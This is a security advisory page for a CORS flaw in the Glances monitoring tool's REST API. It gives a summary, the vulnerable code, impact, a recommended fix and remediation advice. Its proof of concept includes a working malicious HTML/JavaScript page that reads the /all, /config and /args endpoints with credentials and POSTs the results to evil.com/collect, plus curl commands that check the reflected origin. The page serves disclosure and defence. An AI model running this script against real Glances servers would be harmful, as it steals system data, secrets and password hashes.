Python
CVE-2026-32610
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The Glances REST API web server ships with a default CORS configuration that sets allow_origins=["*"] combined with allow_credentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal * wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.
Details
The CORS configuration is set up in glances/outputs/glances_restful_api.py lines 290-299:
# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
CORSMiddleware,
# Related to https://github.com/nicolargo/glances/issues/2812
allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:
cors_origins = ["*"](all origins)cors_credentials = True(allow credentials)
Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: *. However, Starlette's CORSMiddleware implements a workaround: when allow_origins=["*"] and allow_credentials=True, the middleware reflects the requesting origin in the response header instead of using *. This means:
- Attacker hosts
https://evil.com/steal.html - Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
- JavaScript on
evil.commakesfetch("http://glances-server:61208/api/4/config", {credentials: "include"}) - The browser sends the stored Basic Auth credentials
- Starlette responds with
Access-Control-Allow-Origin: https://evil.comandAccess-Control-Allow-Credentials: true - The browser allows JavaScript to read the response
- Attacker exfiltrates the configuration including sensitive data
When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.
PoC
Step 1: Attacker hosts a malicious page.
<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
const target = "http://glances-server:61208";
// Steal system stats (processes, CPU, memory, network, disk)
const all = await fetch(target + "/api/4/all", {credentials: "include"});
const allData = await all.json();
// Steal configuration (may contain database passwords, API keys)
const config = await fetch(target + "/api/4/config", {credentials: "include"});
const configData = await config.json();
// Steal command line args (contains password hash, SNMP creds)
const args = await fetch(target + "/api/4/args", {credentials: "include"});
const argsData = await args.json();
// Exfiltrate to attacker
fetch("https://evil.com/collect", {
method: "POST",
body: JSON.stringify({all: allData, config: configData, args: argsData})
});
}
steal();
</script>Step 2: Verify CORS headers (without auth, default Glances).
# Start Glances web server (default, no password)
glances -w
# From a different origin, verify the CORS headers
curl -s -D- -o /dev/null \
-H "Origin: https://evil.com" \
http://localhost:61208/api/4/all
# Expected response headers include:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: trueStep 3: Verify data theft (without auth).
curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20
curl -s http://localhost:61208/api/4/config | python -m json.tool
curl -s http://localhost:61208/api/4/args | python -m json.toolStep 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.
# Start Glances with password
glances -w --password
# Preflight request with credentials
curl -s -D- -o /dev/null \
-X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
http://localhost:61208/api/4/all
# Expected: Access-Control-Allow-Origin: https://evil.com
# Expected: Access-Control-Allow-Credentials: trueImpact
- Without
--password(default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments. - With
--password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via/api/4/args). - Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.
- Chained with POST endpoints: The CORS policy also allows
POSTmethods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).
Recommended Fix
Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:
# glances/outputs/glances_restful_api.py
# Option 1: Change default to not allow credentials with wildcard origins
cors_origins = config.get_list_value('outputs', 'cors_origins', default=["*"])
cors_credentials = config.get_bool_value('outputs', 'cors_credentials', default=False)
# Changed from True
# Option 2: Reject the insecure combination at startup
if cors_origins == ["*"] and cors_credentials:
logger.warning(
"CORS: allow_origins='*' with allow_credentials=True is insecure. "
"Setting allow_credentials to False. Configure specific origins to enable credentials."
)
cors_credentials = False
self._app.add_middleware(
CORSMiddleware,
allow_origins=cors_origins,
allow_credentials=cors_credentials,
allow_methods=config.get_list_value('outputs', 'cors_methods', default=["GET"]),
# Also restrict methods
allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)AnalysisAI
A critical CORS misconfiguration in the Glances system monitoring tool's REST API allows any website to steal sensitive system information from users who visit a malicious page while having access to a Glances instance. The vulnerability affects all versions prior to 4.5.2 and enables cross-origin theft of system stats, configuration secrets, database passwords, API keys, and command-line arguments. A proof-of-concept is publicly available, though no active exploitation has been reported yet.
Technical ContextAI
Glances is a cross-platform system monitoring tool written in Python that exposes system metrics via a REST API powered by FastAPI/Starlette. The vulnerability stems from an insecure CORS (Cross-Origin Resource Sharing) configuration that combines wildcard origins (allow_origins=['*']) with enabled credentials (allow_credentials=True), which causes Starlette's CORSMiddleware to reflect the requesting origin instead of returning a literal asterisk, effectively bypassing same-origin policy protections. This is a classic example of CWE-942 (Permissive Cross-domain Policy with Credentials) where the application fails to properly restrict cross-origin requests that include authentication credentials. The affected product is identified as pkg:pip/glances, indicating all PyPI distributions of Glances.
RemediationAI
Upgrade Glances to version 4.5.2 or later, which fixes the insecure CORS configuration by changing the default allow_credentials to False when wildcard origins are used. The patch is available through PyPI and the official GitHub releases. Until patching is possible, configure Glances with the --password flag to require authentication and explicitly set cors_credentials=false in the configuration file, or restrict network access to the Glances API port (default 61208) using firewall rules to prevent external access. For detailed patch information, refer to the vendor advisory at https://github.com/nicolargo/glances/security/advisories/GHSA-9jfm-9rc6-2hfq.
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Same technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
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External POC / Exploit Code
Leaving vuln.today
GHSA-9jfm-9rc6-2hfq